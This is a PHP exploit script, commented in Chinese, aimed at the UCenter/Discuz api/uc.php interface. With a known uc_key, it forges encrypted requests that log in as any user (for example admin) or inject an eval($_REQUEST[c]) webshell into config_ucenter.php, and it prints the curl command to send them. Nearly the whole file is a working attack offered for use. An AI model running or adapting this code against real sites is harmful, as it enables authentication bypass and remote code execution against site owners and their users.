<?php

$key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#uc_key 写在这里

$url = 'http://localhost/api/uc.php';

#$arg = 'action=updateapps&time='.time();#拿webshell：http://localhost/config/config_ucenter.php 密码：c

$arg = 'action=synlogin&uid=1&username=admin&time='.time();#登录任意用户

#其他的 可以看api里的接口，格式：action=接口&参数

echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"';

#登录任意用户直接访问url即可，getshell可以curl或者用其他工具post提交

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

  $ckey_length = 4;

  $key = md5($key);

  $keya = md5(substr($key, 0, 16));

  $keyb = md5(substr($key, 16, 16));

  $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

  $cryptkey = $keya.md5($keya.$keyc);

  $key_length = strlen($cryptkey);

  $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

  $string_length = strlen($string);

  $result = '';

  $box = range(0, 255);

  $rndkey = array();

  for($i = 0; $i <= 255; $i++) {

    $rndkey[$i] = ord($cryptkey[$i % $key_length]);

  }

  for($j = $i = 0; $i < 256; $i++) {

    $j = ($j + $box[$i] + $rndkey[$i]) % 256;

    $tmp = $box[$i];

    $box[$i] = $box[$j];

    $box[$j] = $tmp;

  }

  for($a = $j = $i = 0; $i < $string_length; $i++) {

    $a = ($a + 1) % 256;

    $j = ($j + $box[$a]) % 256;

    $tmp = $box[$a];

    $box[$a] = $box[$j];

    $box[$j] = $tmp;

    $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

  }

  if($operation == 'DECODE') {

    if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

      return substr($result, 26);

    } else {

      return '';

    }

  } else {

    return $keyc.str_replace('=', '', base64_encode($result));

  }

}

?>